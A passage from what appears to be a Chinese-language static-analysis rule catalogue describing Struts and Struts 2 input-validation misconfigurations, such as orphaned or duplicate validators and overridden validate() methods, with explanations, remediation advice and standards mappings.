[26] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002560 CAT I
[27] Standards Mapping - Web Application Security Consortium Version 2.00 Improper Input Handling (WASC-20)
Struts 2: Action Field Without Validator
ABSTRACT
发现没有对应验证定义的 Action 字段。
EXPLANATION
一个或多个 Action 字段没有对应的验证定义。每个字段均应具有一个 ActionClass-validation.xml 中引用的明确验证例程。
当开发人员删除或者重命名 action form 映射后,很容易忘记更新验证逻辑。如果缺少验证器定义,就表明验证逻辑没有得到适当维护。
验证逻辑的维护至关重要,验证逻辑必须与应用程序的其余部分保持同步。未经检验的输入是导致当今一些最糟糕、最常见的软件安全问题的根源。Cross-site scripting、SQL injection 和 process control 漏洞是由于缺少输入验证或者输入验证不完整造成的。虽然 J2EE 应用程序通常情况下不容易受到内存损坏的影响,但是如果 J2EE 应用程序连接到未执行数组边界检查的本地代码,攻击者就可能会利用 J2EE 应用程序中一个输入校验错误发起 buffer overflow 攻击。
RECOMMENDATIONS
检查 action 验证文件,并搜索孤立的验证定义的可能匹配项。此搜索结果可能会表明已对 Action 字段重新命名,但没有更新对应的验证。
通过验证逻辑查找是否存在其他或许更难察觉的问题。
- 如果验证定义以前由一个 action form 映射使用,而这个映射 目前已经删除了,则应删除这个 unused validation form。
- 如果该 action form 映射已经被重命名,请考虑重命名验证 文件,让它们重新连接起来。
- 如果旧的 action form 映射中存在的功能已经合并到 另一个 action form 映射中,请检查无用的验证逻辑与新的 验证逻辑之间的一致性。
REFERENCES
[1] T. Husted et al. Struts in Action: Building Web Applications with the Leading Java Framework Manning Publications
[2] The Struts2 Validation Framework The Apache Foundation
[3] Standards Mapping - Common Weakness Enumeration CWE ID 101
[4] Standards Mapping - FIPS200 SI
[5] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[6] Standards Mapping - OWASP Mobile Top 10 Risks 2014 M1 Weak Server Side Controls
[7] Standards Mapping - OWASP Top 10 2004 A1 Unvalidated Input
[8] Standards Mapping - OWASP Top 10 2010 A6 Security Misconfiguration
[9] Standards Mapping - OWASP Top 10 2013 A5 Security Misconfiguration
[10] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.1
[11] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1
[12] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.1
[13] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.1
[14] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.1
[15] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I
[16] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I
[17] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I
[18] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I
[19] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I
[20] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I
[21] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I
[22] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002560 CAT I
[23] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002560 CAT I
[24] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002560 CAT I
[25] Standards Mapping - Web Application Security Consortium Version 2.00 Application Misconfiguration (WASC-15)
Struts 2: Duplicate Action Field Validators
ABSTRACT
采用同一名称的多个 Struts2 field validator 引用已存在。存在重复的验证器引用表明该验证不是最新的。
EXPLANATION
在 ActionClass-validation.xml 中,存在多个采用相同名称的字段验证器定义。若存在同名的重复验证定义,可能导致非预期的行为。
示例: 下列条目显示了两个重复的字段验证器定义。
1 | <field name="emailField"> |
验证逻辑的维护至关重要,验证逻辑必须与应用程序的其余部分保持同步。未经检验的输入是导致当今一些最糟糕、最常见的软件安全问题的根源。Cross-site scripting、SQL injection 和 process control 漏洞是由于缺少输入验证或者输入验证不完整造成的。虽然 J2EE 应用程序通常情况下不容易受到内存损坏的影响,但是如果 J2EE 应用程序连接到未执行数组边界检查的本地代码,攻击者就可能会利用 J2EE 应用程序中一个输入校验错误发起 buffer overflow 攻击。
RECOMMENDATIONS
如果这是由于命名不当的字段验证器类型造成的,请检查重复的字段验证定义。 确定哪个验证定义最新,并删除所有过时的定义。仔细检查保留下来的 validation form,看有没有其他错误或已经过时的迹象。
REFERENCES
[1] T. Husted et al. Struts in Action: Building Web Applications with the Leading Java Framework Manning Publications
[2] The Struts2 Validation Framework The Apache Foundation
[3] Standards Mapping - Common Weakness Enumeration CWE ID 101
[4] Standards Mapping - FIPS200 CM
[5] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[6] Standards Mapping - OWASP Mobile Top 10 Risks 2014 M1 Weak Server Side Controls
[7] Standards Mapping - OWASP Top 10 2004 A10 Insecure Configuration Management
[8] Standards Mapping - OWASP Top 10 2010 A6 Security Misconfiguration
[9] Standards Mapping - OWASP Top 10 2013 A5 Security Misconfiguration
[10] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.10
[11] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I
[12] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I
[13] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I
[14] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I
[15] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I
[16] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I
[17] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I
[18] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002560 CAT I
[19] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002560 CAT I
[20] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002560 CAT I
[21] Standards Mapping - Web Application Security Consortium Version 2.00 Application Misconfiguration (WASC-15)
Struts 2: Duplicate Validation Files
ABSTRACT
此 Action(操作)存在多个 Struts2 Validation 文件。多个 validation form 暗示着该验证已经过时。
EXPLANATION
发现此 Struts2 Action 定义存在多个 ActionClass-validation.xml 文件。对以 ActionClass 形式定义的每个 Struts2 Action,Struts2 都会搜索对应的 ActionClass-validation.xml,以获取必要的验证限制。如果部署中的某一 Action(操作)存在多个验证定义,则会导致异常。
如果两个 validation form 具有相同的名称,Struts Validator 会任意选择一个来进行输入验证,而放弃另外一个。这一决策可能不是程序员所期望的。而且,它也暗示着验证逻辑没有得到维护,并暗示着存在其他更难察觉的验证错误。
验证逻辑的维护至关重要,验证逻辑必须与应用程序的其余部分保持同步。未经检验的输入是导致当今一些最糟糕、最常见的软件安全问题的根源。Cross-site scripting、SQL injection 和 process control 漏洞是由于缺少输入验证或者输入验证不完整造成的。虽然 J2EE 应用程序通常情况下不容易受到内存损坏的影响,但是如果 J2EE 应用程序连接到未执行数组边界检查的本地代码,攻击者就可能会利用 J2EE 应用程序中一个输入校验错误发起 buffer overflow 攻击。
RECOMMENDATIONS
如果这是由于错误命名的验证文件造成,则检查重复的验证定义。请确保每个 Action 都有且只有一个使用 Struts2 应用程序部署的对应 ActionClass-validation.xml 文件。 确定哪个 validation form 是最新的,将其他的删除。仔细检查保留下来的 validation form,看有没有其他错误或已经过时的迹象。
REFERENCES
[1] T. Husted et al. Struts in Action: Building Web Applications with the Leading Java Framework Manning Publications
[2] The Struts2 Validation Framework The Apache Foundation
[3] Standards Mapping - Common Weakness Enumeration CWE ID 101
[4] Standards Mapping - FIPS200 CM
[5] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[6] Standards Mapping - OWASP Mobile Top 10 Risks 2014 M1 Weak Server Side Controls
[7] Standards Mapping - OWASP Top 10 2004 A10 Insecure Configuration Management
[8] Standards Mapping - OWASP Top 10 2010 A6 Security Misconfiguration
[9] Standards Mapping - OWASP Top 10 2013 A5 Security Misconfiguration
[10] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.10
[11] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I
[12] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I
[13] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I
[14] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I
[15] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I
[16] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I
[17] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I
[18] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002560 CAT I
[19] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002560 CAT I
[20] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002560 CAT I
[21] Standards Mapping - Web Application Security Consortium Version 2.00 Application Misconfiguration (WASC-15)
Struts 2: Duplicate Validators
ABSTRACT
采用同一名称的多个 Struts2 validator 引用已存在。存在重复的验证器引用表明该验证不是最新的。
EXPLANATION
在 validators.xml 中,发现多个验证器定义。若存在同名的多个验证定义,可能导致非预期的行为。
如果两个 validation class 具有相同的名称,Struts Validator 会任意选择其中一个 validation class 进行输入验证,而放弃另一个。这一决策可能不是程序员所期望的。而且,它也暗示着验证逻辑没有得到维护,并暗示着存在其他更难察觉的验证错误。
验证逻辑的维护至关重要,验证逻辑必须与应用程序的其余部分保持同步。未经检验的输入是导致当今一些最糟糕、最常见的软件安全问题的根源。Cross-site scripting、SQL injection 和 process control 漏洞是由于缺少输入验证或者输入验证不完整造成的。虽然 J2EE 应用程序通常情况下不容易受到内存损坏的影响,但是如果 J2EE 应用程序连接到未执行数组边界检查的本地代码,攻击者就可能会利用 J2EE 应用程序中一个输入校验错误发起 buffer overflow 攻击。
RECOMMENDATIONS
如果这是由于命名不当的引用造成的,请检查重复的验证器定义。确保每个 Action 都有一个且仅有一个使用 Struts2 应用程序进行定义的相应验证器。
REFERENCES
[1] T. Husted et al. Struts in Action: Building Web Applications with the Leading Java Framework Manning Publications
[2] The Struts2 Validation Framework The Apache Foundation
[3] Standards Mapping - Common Weakness Enumeration CWE ID 101
[4] Standards Mapping - FIPS200 CM
[5] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[6] Standards Mapping - OWASP Mobile Top 10 Risks 2014 M1 Weak Server Side Controls
[7] Standards Mapping - OWASP Top 10 2004 A10 Insecure Configuration Management
[8] Standards Mapping - OWASP Top 10 2010 A6 Security Misconfiguration
[9] Standards Mapping - OWASP Top 10 2013 A5 Security Misconfiguration
[10] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.10
[11] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I
[12] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I
[13] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I
[14] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I
[15] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I
[16] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I
[17] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I
[18] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002560 CAT I
[19] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002560 CAT I
[20] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002560 CAT I
[21] Standards Mapping - Web Application Security Consortium Version 2.00 Application Misconfiguration (WASC-15)
Struts 2: Undeclared Validator
ABSTRACT
ActionClass-validation.xml 中引用的验证器未在 validators.xml 中声明
EXPLANATION
Struts2 要求先在 validators.xml 中定义自定义的验证器,然后才能在 Action 验证器定义中使用它。缺少验证器定义,将表示该验证不是最新的。
示例: 下列 Action 验证器未在 validators.xml 中定义。
1 | <validators> |
验证逻辑的维护至关重要,验证逻辑必须与应用程序的其余部分保持同步。未经检验的输入是导致当今一些最糟糕、最常见的软件安全问题的根源。Cross-site scripting、SQL injection 和 process control 漏洞是由于缺少输入验证或者输入验证不完整造成的。虽然 J2EE 应用程序通常情况下不容易受到内存损坏的影响,但是如果 J2EE 应用程序连接到未执行数组边界检查的本地代码,攻击者就可能会利用 J2EE 应用程序中一个输入校验错误发起 buffer overflow 攻击。
RECOMMENDATIONS
确保 ActionClass-validation.xml 中所引用的任何验证器,在 Struts2 validators.xml 配置文件中都有相应的定义。
REFERENCES
[1] T. Husted et al. Struts in Action: Building Web Applications with the Leading Java Framework Manning Publications
[2] The Struts2 Validation Framework The Apache Foundation
[3] Standards Mapping - Common Weakness Enumeration CWE ID 101
[4] Standards Mapping - FIPS200 SI
[5] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[6] Standards Mapping - OWASP Mobile Top 10 Risks 2014 M1 Weak Server Side Controls
[7] Standards Mapping - OWASP Top 10 2004 A1 Unvalidated Input
[8] Standards Mapping - OWASP Top 10 2010 A6 Security Misconfiguration
[9] Standards Mapping - OWASP Top 10 2013 A5 Security Misconfiguration
[10] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.1
[11] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1
[12] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.1
[13] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.1
[14] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.1
[15] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I
[16] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I
[17] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I
[18] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I
[19] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I
[20] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I
[21] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I
[22] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002560 CAT I
[23] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002560 CAT I
[24] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002560 CAT I
[25] Standards Mapping - Web Application Security Consortium Version 2.00 Application Misconfiguration (WASC-15)
Struts 2: Unvalidated Action
ABSTRACT
Struts2 Actions 应利用 Struts Validation 框架防止未经检验的输入产生漏洞。
EXPLANATION
在 J2EE 应用程序中,未经检验的输入是导致漏洞发生的首要原因。未经检验的输入数据会导致许多漏洞,如 cross-site scripting、process control 和 SQL injection。虽然 J2EE 应用程序通常情况下不容易受到内存损坏的影响,但是如果 J2EE 应用程序连接到未执行数组边界检查的本地代码,攻击者就可能会利用 J2EE 应用程序中一个输入校验错误发起 buffer overflow 攻击。
为了防止此类攻击,我们应在应用程序处理输入之前,使用 Struts Validation 框架来检验所有的程序输入。使用 Fortify Static Code Analyzer(Fortify 静态代码分析器)来确保您的 Struts Validator 配置中不存在任何漏洞。
验证器在例子中的用法包括检查并确保以下内容:
在电话号码字段中只包含有效字符
布尔值仅为“T”或者“F”
未限定格式的字符串必须具有合理的长度,并且由有效的字符组成
RECOMMENDATIONS
为对应的 Action(操作)定义 Struts Validator。以下示例说明了一种典型的“ActionClass-validation.xml”设置:
1 | <validators> |
配置文件 ActionClass-validation.xml 包含了对验证函数(称为验证器)的定义。
REFERENCES
[1] T. Husted et al. Struts in Action: Building Web Applications with the Leading Java Framework Manning Publications
[2] The Struts Project The Apache Foundation
[3] Standards Mapping - Common Weakness Enumeration CWE ID 101
[4] Standards Mapping - FIPS200 SI
[5] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[6] Standards Mapping - OWASP Mobile Top 10 Risks 2014 M1 Weak Server Side Controls
[7] Standards Mapping - OWASP Top 10 2004 A1 Unvalidated Input
[8] Standards Mapping - OWASP Top 10 2010 A6 Security Misconfiguration
[9] Standards Mapping - OWASP Top 10 2013 A5 Security Misconfiguration
[10] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.1
[11] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1
[12] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.1
[13] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.1
[14] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.1
[15] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I
[16] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I
[17] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I
[18] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I
[19] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I
[20] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I
[21] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I
[22] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002560 CAT I
[23] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002560 CAT I
[24] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002560 CAT I
[25] Standards Mapping - Web Application Security Consortium Version 2.00 Application Misconfiguration (WASC-15)
Struts 2: Validation File Without Action
ABSTRACT
找到没有对应 Struts2 Action 的 Struts2 Validation 文件。
EXPLANATION
找到没有匹配 Struts2 Action 的 Struts2 Validation 文件。对于每个 ActionClass,Struts2 都会搜索对应的 ActionClass-validation.xml,以获取必要的验证限制。而在这种情况下,找到 ActionClass-validation.xml 形式的验证文件,但 ActionClass 与 Struts2 配置文件中定义的 Action 不匹配。
当开发人员删除或者重命名 action form 映射后,很容易忘记更新验证逻辑。验证逻辑没有得到适当维护的一个迹象是存在 unused validation form。
RECOMMENDATIONS
检查 struts.xml 文件,并搜索孤立的验证定义的匹配项。此搜索结果体现对 Action 重命名但没有更新对应验证的情况。
通过验证逻辑查找是否存在其他或许更难察觉的问题。
- 如果验证定义以前由一个 action form 映射使用,而这个映射 目前已经删除了,则应删除这个 unused validation form。
- 如果该 action form 映射已经被重命名,请考虑重命名验证 文件,让它们重新连接起来。
- 如果旧的 action form 映射中存在的功能已经合并到 另一个 action form 映射中,请检查无用的验证逻辑与新的 验证逻辑之间的一致性。
REFERENCES
[1] The Struts2 Validation Framework The Apache Foundation
[2] Standards Mapping - Common Weakness Enumeration CWE ID 101
[3] Standards Mapping - FIPS200 CM
[4] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[5] Standards Mapping - OWASP Mobile Top 10 Risks 2014 M1 Weak Server Side Controls
[6] Standards Mapping - OWASP Top 10 2004 A10 Insecure Configuration Management
[7] Standards Mapping - OWASP Top 10 2010 A6 Security Misconfiguration
[8] Standards Mapping - OWASP Top 10 2013 A5 Security Misconfiguration
[9] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.10
[10] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I
[11] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I
[12] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I
[13] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I
[14] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I
[15] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I
[16] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I
[17] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002560 CAT I
[18] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002560 CAT I
[19] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002560 CAT I
[20] Standards Mapping - Web Application Security Consortium Version 2.00 Application Misconfiguration (WASC-15)
Struts 2: Validator Without Action Field
ABSTRACT
为一个不存在的 action 字段定义了 Struts2 validator。
EXPLANATION
Struts2 validator 定义引用一个不存在的 action 字段。
当开发人员删除或者重命名 action form 映射后,很容易忘记更新验证逻辑。如果存在孤立的验证器定义,则表明验证逻辑没有得到适当维护。
RECOMMENDATIONS
检查 action 验证文件,并搜索孤立的验证定义的可能匹配项。此搜索结果可能会表明已对 Action 字段重新命名,但没有更新对应的验证。
通过验证逻辑查找是否存在其他或许更难察觉的问题。
- 如果验证定义以前由一个 action form 映射使用,而这个映射 目前已经删除了,则应删除这个 unused validation form。
- 如果该 action form 映射已经被重命名,请考虑重命名验证 文件,让它们重新连接起来。
- 如果旧的 action form 映射中存在的功能已经合并到 另一个 action form 映射中,请检查无用的验证逻辑与新的 验证逻辑之间的一致性。
REFERENCES
[1] T. Husted et al. Struts in Action: Building Web Applications with the Leading Java Framework Manning Publications
[2] The Struts2 Validation Framework The Apache Foundation
[3] Standards Mapping - Common Weakness Enumeration CWE ID 101
[4] Standards Mapping - FIPS200 CM
[5] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[6] Standards Mapping - OWASP Mobile Top 10 Risks 2014 M1 Weak Server Side Controls
[7] Standards Mapping - OWASP Top 10 2004 A10 Insecure Configuration Management
[8] Standards Mapping - OWASP Top 10 2010 A6 Security Misconfiguration
[9] Standards Mapping - OWASP Top 10 2013 A5 Security Misconfiguration
[10] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.10
[11] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I
[12] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I
[13] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I
[14] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I
[15] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I
[16] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I
[17] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I
[18] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002560 CAT I
[19] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002560 CAT I
[20] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002560 CAT I
[21] Standards Mapping - Web Application Security Consortium Version 2.00 Application Misconfiguration (WASC-15)
Struts: Duplicate Validation Forms
ABSTRACT
同名的多个 validation form 暗示着验证逻辑已经过时。
EXPLANATION
如果两个 validation form 具有相同的名称,Struts Validator 会任意选择一个来进行输入验证,而放弃另外一个。这一决策可能不是程序员所期望的。而且,它也暗示着验证逻辑没有得到维护,并暗示着存在其他更难察觉的验证错误。
示例:同名的两个 validation form。
1 | <form-validation> |
验证逻辑的维护至关重要,验证逻辑必须与应用程序的其余部分保持同步。未经检验的输入是导致当今一些最糟糕、最常见的软件安全问题的根源。Cross-site scripting、SQL injection 和 process control 漏洞是由于缺少输入验证或者输入验证不完整造成的。虽然 J2EE 应用程序通常情况下不容易受到内存损坏的影响,但是如果 J2EE 应用程序连接到未执行数组边界检查的本地代码,攻击者就可能会利用 J2EE 应用程序中一个输入校验错误发起 buffer overflow 攻击。
RECOMMENDATIONS
确定哪个 validation form 是最新的,将其他的删除。仔细检查保留下来的 validation form,看有没有其他错误或已经过时的迹象。
REFERENCES
[1] T. Husted et al. Struts in Action: Building Web Applications with the Leading Java Framework Manning Publications
[2] The Struts project The Apache Foundation
[3] Standards Mapping - Common Weakness Enumeration CWE ID 102
[4] Standards Mapping - FIPS200 CM
[5] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[6] Standards Mapping - OWASP Mobile Top 10 Risks 2014 M1 Weak Server Side Controls
[7] Standards Mapping - OWASP Top 10 2004 A10 Insecure Configuration Management
[8] Standards Mapping - OWASP Top 10 2010 A6 Security Misconfiguration
[9] Standards Mapping - OWASP Top 10 2013 A5 Security Misconfiguration
[10] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.10
[11] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I
[12] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I
[13] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I
[14] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I
[15] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I
[16] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I
[17] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I
[18] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002560 CAT I
[19] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002560 CAT I
[20] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002560 CAT I
[21] Standards Mapping - Web Application Security Consortium Version 2.00 Application Misconfiguration (WASC-15)
####### ## Struts: Erroneous validate() Method
ABSTRACT
该 validator 表单定义了一个 validate() 方法,但没有调用 super.validate()。
EXPLANATION
Struts Validator 使用表单的 validate() 方法,对照那些在相关校验表单中定义的约束条件来检测表单属性的内容。这就意味着以下这些类具有一个 validate() 方法,该方法是校验框架的一部分:
1 | ValidatorForm |
如果要建立一个继承上述类的类,并且您的这个类覆盖 validate() 函数,强行实现自定义校验逻辑,则您必须在 validate() 的实现方法中调用 super.validate()。如果不这么做,校验框架就无法对照校验表单来校验表单中的内容。换言之,针对某个特定的表单,会禁用校验框架。
对表单来说,禁用校验框架会使应用程序完全暴露在各种攻击之下。未经校验的输入是导致各种漏洞的根源,如 cross-site scripting、process control 和 SQL injection。虽然 J2EE 应用程序通常情况下不容易受到内存损坏的影响,但是如果 J2EE 应用程序连接到未执行数组边界检查的本地代码,攻击者就可能会利用 J2EE 应用程序中一个输入校验错误发起 buffer overflow 攻击。
RECOMMENDATIONS
例 1:这是一个没有调用 super.validate() 的校验方法。
1 | public abstract class MyForm extends ValidatorForm { |
例 1 显示了一个继承 ValidatorForm 的表单,其名称为 MyForm。由于它的校验方法没有调用 super.validate(),Struts Validator 将起不到任何作用。图 2 给出了 validate() 的正确实现方法。
例 2:这是修正后的 validate() 方法。
1 | public abstract class MyForm extends ValidatorForm { |
REFERENCES
[1] T. Husted et al. Struts in Action: Building Web Applications with the Leading Java Framework Manning Publications
[2] The Struts project The Apache Foundation
[3] Standards Mapping - Common Weakness Enumeration CWE ID 103
[4] Standards Mapping - NIST Special Publication 800-53 Revision 4 SI-10 Information Input Validation (P1)
[5] Standards Mapping - OWASP Top 10 2004 A1 Unvalidated Input
[6] Standards Mapping - Payment Card Industry Data Security Standard Version 1.1 Requirement 6.5.1
[7] Standards Mapping - Payment Card Industry Data Security Standard Version 1.2 Requirement 6.3.1.1
[8] Standards Mapping - Payment Card Industry Data Security Standard Version 3.0 Requirement 6.5.6
[9] Standards Mapping - Payment Card Industry Data Security Standard Version 3.1 Requirement 6.5.6
[10] Standards Mapping - Payment Card Industry Data Security Standard Version 3.2 Requirement 6.5.6
[11] Standards Mapping - Security Technical Implementation Guide Version 3.1 APP3510 CAT I
[12] Standards Mapping - Security Technical Implementation Guide Version 3.10 APP3510 CAT I
[13] Standards Mapping - Security Technical Implementation Guide Version 3.4 APP3510 CAT I
[14] Standards Mapping - Security Technical Implementation Guide Version 3.5 APP3510 CAT I
[15] Standards Mapping - Security Technical Implementation Guide Version 3.6 APP3510 CAT I
[16] Standards Mapping - Security Technical Implementation Guide Version 3.7 APP3510 CAT I
[17] Standards Mapping - Security Technical Implementation Guide Version 3.9 APP3510 CAT I
[18] Standards Mapping - Security Technical Implementation Guide Version 4.1 APSC-DV-002560 CAT I
[19] Standards Mapping - Security Technical Implementation Guide Version 4.2 APSC-DV-002560 CAT I
[20] Standards Mapping - Security Technical Implementation Guide Version 4.3 APSC-DV-002560 CAT I
Struts: Form Does Not Extend Validation Class
ABSTRACT
所有 Struts 表单都应继承验证器类。
EXPLANATION
为了能够使用 Struts 验证器,表单必须继承以下各类之一:
1 | ValidatorForm |
必须继承这些类中的一个,因为 Struts Validator 是通过在这些类中执行 validate() 方法,而绑定在您的应用程序中的。
那些源自下面这些类的表单不能使用 Struts 验证器:
1 | ActionForm |
绕过针对表单的验证框架会使应用程序完全暴露在各种攻击之下。未经校验的输入是导致各种漏洞的根源,如 cross-site scripting、process control 和 SQL injection。虽然 J2EE 应用程序通常情况下不容易受到内存损坏的影响,但是如果 J2EE 应用程序连接到未执行数组边界检查的本地代码,攻击者就可能会利用 J2EE 应用程序中一个输入校验错误发起 buffer overflow 攻击。
RECOMMENDATIONS
例 1:不能使用 Struts 验证器的表单类。
1 | public class MyForm extends ActionForm { |
例 1 中所示的类不能使用 Struts 验证器,因为该类继承了 ActionForm。您应该对这样的类进行更改,使其继承 ValidatorForm 或者 ValidatorActionForm。
例 2:使用 Struts Validator 的表单。
1 | public class MyForm extends ValidatorForm { |
例 3:针对简单表单的验证器配置。
1 | <form-validation> |
除了继承 ValidatorForm 之外,您还必须配置验证器以执行正确的输入检验。例 3 显示了一个简单的验证器配置,以检查表单上的单个参数是否包含 6 到 12 个数字或字母字符。
